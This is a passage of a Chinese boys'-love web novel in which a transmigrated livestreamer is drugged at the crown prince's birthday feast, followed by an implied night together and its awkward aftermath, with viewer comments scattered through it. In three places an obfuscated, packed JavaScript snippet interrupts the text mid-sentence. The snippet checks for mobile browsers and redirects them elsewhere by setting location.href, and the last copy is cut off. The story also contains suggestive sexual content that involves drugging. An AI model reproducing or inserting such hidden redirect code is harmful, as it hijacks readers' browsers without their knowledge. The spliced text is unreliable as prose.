穆辞忧不认识她们,他觉得这些女人化妆后都一模一样,不易分辨。 目光盯着她们的胸部辨别,没有发现那位“通房”,有些失望。 酒到酣处,穆辞忧觉得身体从上到下烤得慌,快要熟透了。 他想解开衣襟的扣子,又不好意思,只好心中抱怨:古人夏天也穿这么多衣服,热死人。 喝了一碗冰镇雪梨后,更加热火难耐,一刻都坐不住了。 “殿、下、您、热、吗?” 他的声音带着一丝极力压抑的颤抖。 顾念安见穆辞忧满面赤红,额角流汗,眼神迷离,暗道:“不好。” “父皇,儿臣不胜酒力,先行告退。”顾念安向皇帝行了辞礼。 顾凯旋劝酒道:“别走啊,大寿星,再喝点!” “有劳皇兄陪父皇开怀畅饮,孤有些头晕。穆少保,来扶着孤。”顾念安佯装喝醉,脚步飘虚,‘被搀扶’着走出养心殿。 “殿下,快扶住我,臣站不稳了。” 顾念安架着穆辞忧的胳膊,快步回到东宫。 穆辞忧进了寝殿后,飞速解开衣扣。 “这毒好生厉害,自内而外燥热。” 一股儿邪火在穆辞忧四肢百骸间流窜。 身后的顾念安去关房门,两道门锁落下。 顾念安一回头,见穆辞忧已然脱个精光。窗外月色透入,一层朦胧的光泽笼在肌肤上,在黑暗中宛若温润的玉像。 房门突然外传来一个女人的娇媚声:“小女子来给殿下祝寿。” “长喜,长喜!”顾念安猛然想到未见长喜在东宫等候,长喜在哪? 门外女人的声音再次想起:“太子,您开门啊。” “孤睡了,你下去吧。” 顾念安瞥向穆辞忧的下半身,不但没有开门,反而把所有的窗户都关严了。 女人还是不甘心:“小女子仰慕殿下许久,请殿下垂帘。” 穆辞忧把脸盆里的水往自己头上一浇,神志清明些许。 弹幕【糟糕,穆少保中春毒了!】 【女人是皇帝的后妃,这毒原本是给太子下的,设计让太子乱了伦理。】 【主播你杀了屋外拿女人,我给你投穿云箭。】 【对,我也给你投。】 即便没有弹幕,穆辞忧结合门外女人的言语,也能猜出个七八。 “大胆狐媚,竟敢勾引储君。”穆辞忧正说着去拿宝剑。 顾念安拦住穆辞忧,耳语道:“你没穿衣服,这门不能开。” 女人听到屋中还有一个男人声音,不知如何是好,毕竟实际情况与给她的剧本不符,接下来的台词完全对不上。 她只能临场发挥:“两个人一起,小女子也不介意。” “臭不要脸!本少保杀了你。” 穆辞忧的火气化为怒气,摸到墙上挂的弓箭,瞄准窗外的人影,“嗖”一声,箭尖刺破窗纸。 窗外恢复了平静。 【“穿云箭”一支】【“穿云箭”一支】…… 穆辞忧周遭的一切都开始失真,扔了弓,瘫倒在床上。 “穆哥哥,你再忍忍,孤去叫人。”慌乱的脚步声响起,顾念安急着去叫御医。 但听床上的人拒绝道:“殿下,别找人了,我有心仪的女人,我要为她守身。” 顾念安的脚步冻住,月光微弱,照不清他的神色。 “什么?你有心仪的,女人?”甫一出口,音调便窜到房顶,特别加重的‘女人’二字,像一根绷得太紧的琴弦,“铮”地一声断了。 8. 缠绵 “什么?你有心仪的,女人?”甫一出口,音调便窜到房顶,特别加重的‘女人’二字,像一根绷得太紧的琴弦,“铮”地一声断了。 穆辞忧不知顾念安的声音为何一反常态,解释道: “是啊,我就算前面憋死,也不会让别人碰我这里。贞洁是男人最好的嫁妆。” “呲~”一声极轻,几乎算不上是笑的气音,从顾念安唇缝里漏了出来,“嫁妆?” 顾念安回到床边,凝望着床上之人。 穆辞忧整个人与清辉融为一体,分不清是月光化作了人形,还是犯错的仙人从月宫贬谪凡间。 顷刻间,乌云遮月。 只能听见一个男人沉重呼吸。 不对,又变成两个男人沉重呼吸。 噼里啪啦的物品翻找声。 砰砰嗙嗙的木质撞击声。 “殿下在找什么?为何不点灯。” 顾念安答为所问,用哄小孩的声调,诱骗道:“穆哥哥,你身后有一穴位,点到那处,便能帮你的驱除毒素,初始略感疼痛,你要试试吗?” 穆辞忧转过身,背对着顾念安:“试试吧,死马当活马医。” “正是马!秋围那日,穆哥哥射伤了孤的汗血马。今日有劳穆哥哥代替一回孤的宝马。”他声音低沉沙哑,含着几分愠怒,仿佛换了一个人。 趴着的穆辞忧肌肉一紧:“你怎么发现的?” 身后那人没有回答。 弹幕【因为你们两人的弓箭是情侣套装,一模一样,天下无双!留在马屁上的箭翎就是证据。】 穆辞忧侧过头,在墨色中找寻着地上的弓。 顾念安摸着床柱,放下纱幔,阻隔了穆辞忧的视线。 穆辞忧听到布料窸窣作响,又‘嘶啦’一声,察觉出顾念安脱下吉服,而且脱得很急! 关切问道:“殿下也中毒了?” “孤没有,孤要帮穆哥哥解毒。先涂些止疼药。”说着,打开了雕花白玉瓶。 右上角【行囊】变成【行囊1】 弹幕【恭喜你,获得物品御用润滑膏】 【此乃国宴!】 【快开饭吧,碗筷已就绪】 【快开饭吧,碗筷已就绪】 【快开饭吧,碗筷已就绪】 …… 弹幕卡在了【太黑看不清】【求开灯】【等月光】【我靠!】【顾念安你那么可爱俊秀的一张脸,怎么长了……】【好夸张】这些字样上。 穆辞忧努力睁开眼皮好几次,终于见到一丝稀薄的亮光。 阳光被金色纱幔筛过,模模糊糊,惨惨淡淡。 “我还活着。” 昨夜种种蓦地浮上心头,他恨不得找个地缝钻下去。 可身体完全动不了,不止因皮肉筋骨的酸麻疼痛,更因一个重物困住了他的身体。 “殿下,您醒了吗?”他的嗓子昨夜喊哑了。 帐内气氛柔和静谧,身后那人没有回应。 一种滚烫的、粘稠的东西,自穆辞忧心底涌出来,爬上脖颈,直冲面门,烧到耳根。这东西叫做羞耻。 身体的疼痛尚可忍受,清醒后的羞耻却教他无处遁形。 他转动脖颈,把脸埋进枕头里,不敢面对朦胧的光线。 穆辞忧纳闷:“昨夜无非是点穴解毒,怎成了一场荒唐至极的艳梦?” 窗外鸟鸣啾啾,身后那人动了一下。 穆辞忧用胳膊肘怼了一下顾念安,“殿下,松开我。” 顾念安轻哼一声,闭着眼睛,收回了手臂。 “殿下,别处也要松开。” 顾念安低声“你太紧”,缓缓睁眼。 “穆哥哥,你身体好些了吗?” “承蒙殿下操劳一夜,助臣驱毒。臣燥火已退。” 虽然听起来羞羞答答,但穆辞忧对床幔发誓,这句感谢绝对发自肺腑。 顾念安愕然,似乎没想到穆辞忧会这么回答,继而笑谑: “为了少保的贞洁,孤万死不辞。” 穆辞忧忙道:“别,别,别。您是千岁,未来的万岁,该死的人是臣。臣一时疏忽,未保护好殿下,中了恶人的毒计,毁了殿下的生辰。” “不,穆哥哥,昨日生辰是孤有生以来,最欢愉的一日。” “臣本想给殿下做一顿可口的饭菜,作为生日礼物。昨日在小厨房等不来殿下,估计今日食材已经坏了。” 顾念安从枕头中挖出穆辞忧的脸,贴着耳朵笑道:“孤已收到最好的生辰礼,就是穆哥哥的嫁……” 寝殿外传来熙熙攘攘之声,打断了顾念安的话语。 “陛下,奴婢见昨夜齐婕妤进了东宫后,一夜未出来。” 顾念安不得不完全松开穆辞忧,摘掉明黄色肚兜,匆遽往自己身上套衣袍。 穆辞忧也稍微动身,“哎呦”!他浑身酸疼,比被人打了一顿还疼,特别是某处的刺痛。 “别动!”顾念安急忙按住穆辞忧,“你且安心休息,外面有我呢。” 锦被盖住穆郎身上痕迹,纱幔挡住床内一片旖旎,割开梦里梦外两个世界,将这浮生一梦捂得严严实实。 寝殿外传来一个女子的尖叫:“啊!!!她怎么……” 顾念安在寝殿内喊道:“她被孤杀了。” 说完,推门而出。 穆辞忧僵卧于床榻,百无聊赖,发现少了点什么。 须臾,猛然想起,呼唤起系统。 “老阎,老阎,弹幕怎么停住了。” 【系统:嗯...008,那个吧,昨夜,从你解毒开始啊,嘶...出了点问题,存在违规行为,直播间封禁二十四小时。】 是什么违规行为穆辞忧心知肚明,玉面上的两朵红云更艳了。 用手探不到穴位,于是,换了大的长的进去探。比自己的都大。 这也是穆辞忧感觉荒诞的原因,他不知道那个东西,还能有多种使用方法。 当时药劲儿太大,事出紧急,为了解毒,没考虑那么多。 但从行为上讲,昨夜实实在在是顾念安的初次。 他想起半年前去青楼那回,开玩笑说要给顾念安开蒙,这次真真成了自己亲自给顾念安开蒙了。 “哎,我贞洁是保住了,顾念安的贞洁却没有了!” 【系统:噗!你。。你保住了。。保住了。。住了。。。了】 【系统:对了,虽然禁播了,你的打赏可没少!后台收到一卡车的‘万里炮’和若干零散的‘穿云箭’,目前你的累计积分是一百万!】 “多少?!?!一百、万?”穆辞忧惊得瞪大眼睛。 “能换多少钱?” 积分和钱不等价,穆辞忧曾用充话费的十万积分换过十元话费。 【系统:能换现实货币两百万。】 “什么是二倍!!!发财啦!!!” 特玛的,这个穿书系统真讲究。 然而穆辞忧仔细想来,两百万也不多,如果“晚风”想在一线城市中心买房,两百万连个厕所都买不到。 穿书尚未成功,同志还需努力!!! “怎么才能挣到更多的积分?” 【系统:这个要看赞助商……不是不是,你好好表现就行,再接再厉。】 “怎么接力,今天晚上我还中毒?我怕顾念安那小子识破我的诡计。” 【系统:求求你别了,你不要脸,我的直播间还想要呢。难道你没听过GV吗?】 穆辞忧傻愣着摇头:“啥意思?我就发现你们特别爱用缩写。” 【系统:emm...Granulosis Virus,颗粒体病毒,你保护好顾念安,慢慢作死,别再中毒了。】 “下次中毒,我也是中‘咔嚓’一下就死的那种毒药。昨日的毒奇奇怪怪,也弄不死人。反而过程没有太难受,爽……” 【系统:吡~闭嘴吧,主播0】 “后遗症很疼”五个字还未说出口。 穆辞忧就被禁言。 直到顾念安回来后,喂了穆辞忧一杯水,这才解禁了。 “从昨晚到现在,穆哥哥连口水都没喝,渴得说不出话来,怪孤初次没经验,照料不周。” 其实,穆辞忧不缺口水,这一夜,喝了不少顾念安的口水。 “殿下处理完外面的事了?可还顺利?” 顾念安神色难辨,脸上看起来在笑,笑容中含着阴郁。 “顺利。穆哥哥,半年之期已到,明日你便任职御林军副统领。父皇念你救驾有功,特意赏赐你一座府邸。” 穆辞忧听到这个消息有些惊讶,自己在现实中只有父母遗留的老破小,在书中却突然得到了一所大房子,怎么好事儿都让自己摊上了,怪不得大家都爱看小说,书中剧情是真爽啊。 “臣要离开东宫了?”穆辞忧惑然嘟囔道。 “你若不想,孤以死相逼,求父皇收回成命。”顾念安坐到床边,握住穆辞忧的手。 穆辞忧抽出手:“大可不必!要以死相逼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793632|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事儿还得我来。您不能死在我前头!” 顾念安微怔一刹,眸底似乎有点湿润,嘴角却是翘着。 “穆哥哥,孤知道你舍不得孤,孤又何尝舍得你?但也无妨,你仍兼任太子少保,每日需来东宫教导、保护孤。其余时间,我们也会在皇宫各处碰面,只不过……” “怎么了?”穆辞忧最讨厌说话说到一半,很吊人胃口。 “只不过穆统领以后要上早朝,不知穆哥哥能否早起。” 穆辞忧双手拉起被头,蒙在脸上,在被子里发出闷闷的声音:“殿下,您的床绑架了臣!臣无法上早朝!” 顾念安破颜大笑:“哈哈哈,孤希望穆哥哥能永远绑在孤的床!上!”最后两个发音,字正腔圆,铿锵有力。 转而又轻叹一声,“唉!可是父皇在朝堂上看不到穆统领,会龙颜不悦。” 被子说:“我不管,你父皇不乐意,就让他赐死我。我宁死也不早起。” 穆辞忧厌倦了五点闹铃的声音,穿书近一年来,他从未早起过。 “这……”顾念安摸着下巴,阖眸,做思考状。 俄而睁眼,耷拉着脸,怅然道:“父皇不可能赐死你,你也看出来了,他对你,比我这个亲儿子还亲。但是……这朝堂之上,勾心斗角,尔虞我诈……危机重重,要弄死个人,可太容易了……” “我去!我去!朝堂太危险,我上朝保护殿下。” 被子里似有一条大虫蠕动。 “但是…昨夜殿下勇猛,臣深受攻击,步履维艰,诚然要养一个月……” 多休息一个月再作死,多苟一天是一天。 顾念安面颊飞上红霞,指尖轻抚锦被上面的游龙暗绣,对着被子说:“你的府邸尚未建好,大概需一个月。昨夜长喜也受重伤,孤身边不能没有伺候的人,孤再去求一求父皇,留你再伺候我一个月,你晚一个月上任也不迟。” 这套借口,皇帝肯定不会信! 穆辞忧啥时候伺候过顾念安啊! 自从穆辞忧后背受伤后,照顾穆辞忧已经成了顾念安的习惯。 包括昨夜都是顾念安主动操纵,百般讨好。 被子又说:“太子殿下是世上第一好!听完殿下一言,臣身体上的疼痛仿佛减弱些许。” 顾念安紧忙掏出一个小瓷瓶。 “都是孤的错,弄疼了穆哥哥。此药疗伤止疼,专门用于…咳…穆哥哥出来,孤帮你涂上。” 穆辞忧探出脑袋,脸上还是红扑扑的。 “不用!你拿来的那些药,毒性更大,根本不止疼!” 昨夜用完雕花白玉瓶的恐怖体验,又浮上穆辞忧心头。 “怎么会,那是专门给皇室配制” 顾念安哑然而止,猝然拍了一下锦被里的人,“穆哥哥,昨夜用完那药,你有何感觉?” “殿下给臣涂上后,臣痒!痒疯了!” “内务府也敢算计孤?”顾念安咬牙切齿。 原来是内务府送来的东西有问题,可毒是如何下的?又为何穆辞忧中了毒,而顾念安无事? 穆辞忧想不到答案,觉得这书有点儿意思,剧情不但爽,还有悬念,难怪能挣一百万积分。但他本人作为书里中毒的倒霉蛋,也挺惨的,看在钱的份儿上,忍了! 顾念安眼底眸色转暗,抬手轻揉上穆辞忧的乌发,悠悠道:“穆哥哥,孤会给你报仇。今日这药也别用了,谨慎为好。孤抱你去沐浴,清洗干净能舒服些。” 修长的手指在穆辞忧头上摩挲,指肚按得头皮发麻! 穆辞忧的确很想洗澡,也实属寸步难行。 年满十八岁的顾念安比穆辞忧略高两寸,孔武有力,肯定能抱起穆辞忧。 尽管如此,穆辞忧还是果断拒绝: “不用!不要!” 穆辞忧认为顾念安的初次应该给一位温柔善良、貌若天仙的贤德女子,而昨夜为了帮忙解毒,顾念安贡献了初次,这是多大的恩情啊! 果真,兄弟如手足,女人如衣服。 那一声“穆哥哥”没白叫! 顾念安这个兄弟真讲义气! 相对比,穆辞忧曾多次刁难顾念安,顾念安却以德报怨。 这使穆辞忧的内心更加愧疚,不忍像从前那般使唤顾念安。 锦被蜷成一团,严严实实地裹了起来,往里面一滚。 顾念安听着被子说道: “太子千金之躯,怎能伺候微臣。以后由微臣伺候您,微臣保准给您伺候得舒舒服服。” 9. 玷污 “太子千金之躯,怎能伺候微臣。以后由微臣伺候您,微臣保准给您伺候得舒舒服服。” 顾念安看着床上蠕动的蚕宝宝,似笑非笑:“当真?” “真!!” 穆辞忧说完就打脸。 他尝试了三次扶着墙走,连第一步都迈不开腿。 结果还是让顾念安抱进浴桶。 “穆哥哥,你洗完了叫孤。” “诺。” 穆辞忧暗自埋怨:“臭小子,把我抱过来就不管我了,我自己怎么够得着,里面根本洗不干净啊!”他不敢开口说,唯恐再次玷污了天之骄子。 转而一想:“我玷污了他又有何妨?反正已经玷污过了,也不差这多一次。若是惹怒了他,他正好杀了我!但…不行不行…” 这样矛盾的心理,来回盘旋。洗个澡,整整洗了一个时辰。 “穆哥哥,孤帮你洗吗?” “洗完了!殿下扶我出浴桶吧。”穆辞忧扶着浴桶的边沿,徐徐而立。 雪肌玉肤上带着温热的水汽,脸颊被蒸得透出红晕,像染了胭脂。墨发湿湿软软垂下,它太累了。 这套动作虽缓慢,但穆辞忧的神情毫不扭捏。 对于穆辞忧来说,在顾念安面前暴露没有什么难为情的。 在上次养伤期间,顾念安经常帮他擦身体,早就从上到下,从里到外,看了个遍。经昨夜后,又从里到外,从上到下,摸了个遍。 大男人之间,大家身体器官长得都一样,有啥怕的! 顾念安拿了一条毛巾帮穆辞忧擦干身体,横抱起皂角味的肌肉男,走回床边,弯下腰,轻轻放在床榻上。 床榻也带着皂角果木香,被褥清爽干净。 刚才穆辞忧在沐浴时,顾念安换上了一套崭新的床品。 穆辞忧恨不得赶紧毁了昨夜那套床品,问道:“殿下,换下来的那套旧的被褥呢?” “孤收起来了,你问这个作何?” 那么羞耻的东西,怎么能让他收起来呢。 穆辞忧心道:“这东西不能留在顾念安手里,上面有我流出的,哪天我死成功了,死后顾念安还会拿出这东西笑话我。” “旧的那套,由臣收起来比较好。” “为何?” 这个问题,穆辞忧一时想不起来怎么回答,抠了抠肚,挠了挠头,吸了一口皂角味。 有主意了! “那个……那套旧被褥上有殿下身体的味道……臣习惯了闻着殿下的体香入睡。若是离开东宫,臣闻不到殿下的体香,会夜不能寐。不如,殿下把那旧物赏赐给臣,臣带到新府邸使用。” 顾念安面上飘出一层淡粉,蔓延到耳根。 “你乔迁入宅后,孤亲自给你送过去。” 穆辞忧心里松了一口气,高兴地打了个滚:这东西到手后,一定要毁掉! 一打滚露出后背上深深的疤痕。 昨夜太黑,顾念安没看清那一道疤。 那瓶生肌平痕膏没涂几日,穆辞忧就死活不用了,说男人身上有疤才够爷们儿,说硬汉怎么能没有疤呢。 可这条瑕疵,刻在白嫩光洁的玉像上,太刺眼了,刺到了顾念安心里。 顾念安俯下身,手停在了疤痕的上方,隔着空气轻抚。而后把踹到角落的被子捞回来,罩在穆辞忧的身上,仔细掖好被角。 穆辞忧翻过身来,正对着顾念安,又吸了一口被头上的皂角香味。 突然灵光一闪! “殿下,臣知道是如何中毒了!是吉服!” “吉服?” “吉服上撒了有毒的香粉!昨日内务府送来吉服后,臣先打开看,闻到一股刺鼻的香味,抖了几下,又挂到衣架上凉起来。殿下穿时,香味已经挥发完了。” 顾念安问道:“那他们又是如何让你晚宴上发作?” “因为酒菜和冰糖雪梨。我猜饭菜中下了一种药,能激发吸入的香粉,让人燥热起欲。我本想喝冰糖雪梨降火,喝完后,更严重了。说明他们特意在冰糖雪梨中加了另一种药,促进前者吸收!而殿下只是喝喝酒,吃吃菜,未吸入香粉,体内没有毒源。” “原来如此!穆哥哥,你躺好,接着休息,孤现在就去禀告父皇。” 穆辞忧分析得严丝合缝,得知真相的顾念安急着去禀报皇帝。 “诺,臣等您。” 穆辞忧心中却腹诽:“他真是个孩子,被别人欺负后,第一时间就找家长、找老师。” 顾念安前脚走,后脚穆辞忧又睡了。 他俩昨夜基本没睡,度过了夜与昼的交合,微弱的光线射入纱幔内,淡得像一杯被稀释的牛乳,滴在两个男人身上,与汗水交融成解药,治愈了穆辞忧体内的毒素。他精疲力竭后,眼皮一盖,累得昏厥了…… 今日正好补觉。 “咕噜噜”肚子叫了,穆辞忧睁开眼睛,望着床顶的纱幔。 “一天没吃饭,我是不是饿死,也能回到现实世界呢?” 这个年代没有钟表,穆辞忧觉得光线渐渐发暗。 “打个小报告需要这么长时间?真麻烦。” “吱呀”门被推开了一个缝儿。 一个尖细的嗓音道:“殿下您慢点。”这不是长喜。 穆辞忧认得这个声音,出自于皇帝的太监总管之口。 “公公就送到这里吧,孤自己可以进房,无需搀扶。”这是顾念安的声音。 太监道:“咦,这东宫的仆人没几个啊?您寝殿没人服侍?” 顾念安道:“昨夜宫人集体失踪,父皇派人在彻查此事。眼下这仨仆人是父皇临时安排给孤,否则都没人给孤准备浴水。正是因无人伺候孤,今日孤才求父皇让穆少保在东宫多留一个月,替长喜照料孤的生活起居。穆少保就在屋内,他会搀扶我。” “那咱家就不打扰了。”太监总管刚转身,犹豫一瞬,还是补充了一句:“殿下,皇上也是为了您和穆大人的前途,请您不要记恨他,毕竟两个血气方刚的儿郎,长期在” “孤知道!”顾念安打断他:“今日之事,勿再谈论。有劳公公帮孤多照拂长喜,他伤得不轻。” 长喜是这位总管的徒弟,昨夜与蒙面歹人搏斗,身负重伤,最后逃到了小厨房内,失血过多,晕倒了。皇上已经派御医给长喜医治,并安排人照料。 太监道:“好嘞!殿下您歇着,奴才先回皇上那儿复命。” “嘎吱”、“嚓啦嚓啦”、“砰”。 门关上了。 “穆哥哥,你饿了吧,一会儿御膳房派人送膳食,你再忍一会。” 从太监与顾念安的对话听出,顾念安需要人搀扶。 穆辞忧甩开被,立刻从床上坐起,扭着腰,蹭到床沿,伸腿下地,光着脚光着腚,就想去搀扶顾念安。 怎料,他腿软地浑然站不起来,一屁股坐在床边的木踏上,摔了个四仰八叉,四脚朝天。全身一览无遗,红肿红痕历历在目。 顾念安原本扶着门柱,见到这一幕,喉结抖动,好像没了力气一般,腿一软,也瘫坐于地上。 穆辞忧扶着床沿,爬起来,倚靠在床边,自嘲: “真是一个被窝里,睡不出两种人。这屋里有我一个瘸子还不够,你又凑过来添乱。这下好了,俩瘸子,还没有宫人服侍,咱俩可咋办啊!” “孤摔倒了,仅伤到膝盖,休息一晚便好。” “臣再休息一晚也能好。主要是当下怎么办?” 顾念安鼻子抽了几下,一咧嘴,扶着门柱,慢慢站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793633|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,缓缓张开腿。 “你看,孤能走,来,孤扶你上去。” 穆辞忧在顾念安的帮助下,躺回床上,肚子又响了一声:“殿下,膳食快到了吗?” 还是不要用‘饿死’这种死法了,对于大馋小子来说,太过煎熬。 “快了,一会儿你别下床,孤把饭菜端过来喂你。” 上次穆辞忧受伤,顾念安也是这般贴心服务。 那些日子,穆辞忧赖在床上,坐等顾念安投喂,真是享受得很!!! 眼下他生怕顾念安改主意,赶紧阿谀奉承,口吐彩虹屁:“太子殿下长得玉树临风,待人又温柔体贴。若是哪个女人嫁给殿下可有福了。” 顾念安脑中“啪”地爆出一团耀眼的小火花,双手猛然攥住穆辞忧的两个手腕,一双眼睛水汪汪勾着穆辞忧。 “你再说一遍。” 穆辞忧心中一乐:彩虹屁说到点子上了吧,我就知道顾念安爱听。 “太子殿下,您长得丰神俊朗、仙姿玉貌。对我的照顾,那更是无微不至。甚至昨夜床榻之上,您纡尊降贵帮我解毒,态度温柔小意,动作无师自通,初次技术绝佳。倘若我是女人,肯定嫁给您,当您的太子妃。” 乖巧听话的穆少保又重复一遍,还添了很多油,加了不少醋。 闻言,顾念安低下高昂的头,耳垂浮出粉红,嘴角噙着笑意,“穆哥哥满意就好。” 穆辞忧心脏砰砰乱跳,暗道:“糟了,我就随口哄逗顾念安,他这模样跟个少女怀春似的。我这张破嘴是招惹他作甚,他对我产生依赖感,怎能舍得杀我?” 正琢磨着,送膳的宫人敲门。 “请殿下用膳。” 纱幔垂落,隐藏了一个秘密。 “送进来吧。” 宫人们进来,闻不到屋内浓厚香薰下遮掩的腥味。原本地上凌乱的衣衫早已被顾念安藏起。 唯有纱幔下,依稀看到一团身影。难怪让准备两份饭菜。 当然宫人们不敢直视,用余光偷瞄各处,揣测着这位清风霁月的皎皎储君到底藏了什么阴私。 “顺便把浴桶搬走吧。” 在宫人退下前,顾念安吩咐道。 “诺。” 浴桶抬走后,顾念安把一些菜夹到饭碗里,端到穆辞忧面前。 穆辞忧用手臂支撑着身体,肩膀蹭着枕头起身。“嘶~”,某处火辣辣的疼痛袭来。 顾念安手中的饭碗也跟着声音颤了一下。 一番努力后,穆辞忧的后背蹭到床头,放松腰部,稍稍倚靠,方才减轻了痛感。 “啊~”,他张着大嘴,嘴里的小舌头都能看得见。 这时直播间解禁了! 弹幕疯狂弹出 【终于能进来了!!!】 【昨晚正在关键时刻就封了,好可惜啊,哭哭~】 【我也是,我都准备卫生纸了,现在只能擦眼泪。】 【那凶器太恐怖了,主播会不会流血啊?】 【不会,穆辞忧天赋异禀!】 【这是播到哪了?接不上】 【他怎么还在床上?】 【难道是一天一夜?】 【顾念安三天三夜都不在话下】 …… 【肚兜合身吗?穆通房。】 穆辞忧看到这一条弹幕,瞬间瞪大了眼睛,一眨不眨。大张着嘴,喂到嘴里的饭菜也不咀嚼。 顾念安瞧着穆辞忧面红呆愣,一动不动,从而联想穆辞忧又光膀子,又沐浴,昨夜更是大伤元气,可别折腾出病来。 遂温言细语:“穆哥哥的身体有何不适吗?” 穆辞忧不拐弯抹角,直接问道:“殿下,您说生辰那日,通房会来,他是谁?” 10. 龙阳 “殿下,您说生辰那日,通房会来,他是谁?” 顾念安缓缓开口,字字如锤:“孤倒是想问问你,你每日与孤在一起,何时见过孤有过女人,又是从何人口中听说孤有通房? 穆辞忧默然一顿。 这可把穆辞忧问住了,不能说通房是弹幕剧透吧。 顾念安继续反问道:“你还说你有心仪的女人,你心仪谁了?是北境那边的相好吗?” 穆辞忧踌躇不语。 如何作答,不能说心仪一个素未谋面的女人吧。 顾念安睁着一双杏眼,睫毛像蝶翼般颤动,唇角噙着弧度:“穆哥哥为什么通房如此好奇?” 穆辞忧目光一垂,咬了咬下唇。 该怎么说呢,不能说想勾引太子的通房吧。 顾念安目光如电,直射向穆辞忧,语气却异常轻柔,好似昨夜那般呢喃:“穆哥哥是不是恨自己不是女人,无法成为孤的通房?” 穆辞忧被他目光一照,吓得向后缩了半分,慌乱地摆手,讷讷道:“不是,我不是……我没这么想过啊!” 弹幕【顾念安一键四连,占据话语权】 【给穆通房整无语了】 顾念安这小龙崽子都没有通房! 穆辞忧察觉真相,暗中怨念:“这群老铁们不讲究,一条条弹幕引导我出糗,拿我寻开心。还有这小龙崽子不说实话,也调谑我,害我像个无头苍蝇一样乱找。合着老铁们是把我叫做顾念安的通房,我找了这么久,原来通房竟是我自己!” 赶紧揭过这篇儿,休得再丢人了! 于是,穆辞忧焦急道:“殿下,您快喂我啊,穆哥哥饥饿得很!” 可这一句,听起来太像撒娇了,还是求宠幸那种撒娇。 顾念安神色一黯,拿起匙子,狠力捅入那张嗷嗷待哺的樱口。 这一个动作,又让穆辞忧想到昨日的疯狂,勺子头上的饭菜太多,顶入喉咙,塞满了嘴,抖动了几下,方才抽出勺子。 穆辞忧咀嚼着饭菜,忽觉双颊发烫,忙不迭别过脸,避开顾念安的视线。 顾念安腾出一只手,捏上住穆辞忧的下颚,强行把头掰过来。 “穆哥哥转过头去,孤很难喂食。” “臣自己吃,不劳殿下屈尊。” 穆辞忧去夺顾念安手中的饭碗,不能再这般喂食,否则,邪火就要下窜了。 然而,顾念安不放手! 纱幔下的两个人各自发力,都是练家子,顾念安更是青出于蓝而胜于蓝。 “你放手。” “你先放手!” 执拗片刻后,“啪嚓!” 饭碗从中裂开,饭菜四溅,扣落在地上、床上,乱得一塌糊涂。 穆辞忧竟然露出了得意的笑,今日份‘作死’开启: “殿下,臣弄脏了殿下的龙床,臣有罪啊!” 顾念安抬手朝着穆辞忧脸上乎来。 这是要赏他个耳光吗? 那只手从穆辞忧的嘴角摘下一颗小米粒,放入顾念安口中。 “浪费粮食啦,穆少保一向教导孤农耕不易,惜食为仁。” 弹幕【你昨日也弄脏了殿下的龙床~】 【殿下不会怪你的】 顾念安重新铺床后,继续投喂穆辞忧。 端了一个盛满饭菜的大盘子,坐到床边。 “穆哥哥一口,孤一口……穆哥哥又一口,孤又一口……” 每人一口,共用一个匙子,匙子上的唾液互换。 也罢,反正顾念安的口水也不难喝。 这次穆辞忧不敢再造次,因为顾念安脾气随和,这种作死力度根本不够,还不如老老实实享受顾念安的投喂。 用完膳,顾念安唤来临时派遣的三个‘眼线’仆人,收拾残局。 顾念安洗漱完毕后,走到床边听到穆辞沉重的呼吸声。 穆辞忧睡姿成‘大’字,顾念安躺过去变成了‘木’字。 脸脸相贴的一瞬,穆辞忧忽地惊醒,他闭着眼睛,心口一震: “这小子身上一点儿都不凉啊!他还需要暖床?那些个夜晚,顾念安如此种狎昵姿势抱着我睡觉!怪不得老铁们调侃我为穆通房。。。” 顾念安的呼吸均匀,浓密纤长的睫毛盖住下眼睑,像一个乖顺的孩子。 他的手放置于穆辞忧的心口处,也像个孩子。 只不过,这孩子变得高大强壮了,一身结实的肌肉,能轻而易举将穆辞忧抱起。 这个孩子发育的非常完美,满满当当顶着穆辞忧。 黑暗中弹幕一闪一闪: 【都睡啦,这俩人昨夜不知酣畅淋漓了多少回,一定是累了。】 【刚才一人一口吃饭,好好磕啊!】 【主播被shui服了,爱上顾念安啦!】 “我爱上了顾念安?不可能!我们都是男人!” 穆辞忧想起芳菲院的惊鸿所言:男子之间相爱叫做龙阳之癖! 他暗自幽思:“切!我才不是同性恋,我只是把顾念安当做弟弟看待。我要加快作死的速度,做一些杀人放火的坏事,争取一击致命,早日离开书中世界,离开这个喜欢肚兜的变态男主。” 这一夜,穆辞忧没睡着,抑或是白天睡多了,抑或是筹思作死计划,抑或是琢磨龙阳之癖。 夏季太阳出门早,寅时已有了光亮,穆辞忧感觉到床上另一位已经起身了。 他每天都起怎么早吗?他膝盖受伤就不要去上朝了,当个太子也这么卷? 穆辞忧扭扭身子,觉得自己身体恢复一些,起码能走路了。要不,我搀扶着顾念安上朝? “咚咚咚”叩门声响起。 “殿下,皇上派小人接您,御辇已到门口。” “稍等孤片刻。” 一国储君从不缺服侍的奴才。 穆辞忧有些失落,不知脑袋搭错了哪根筋儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 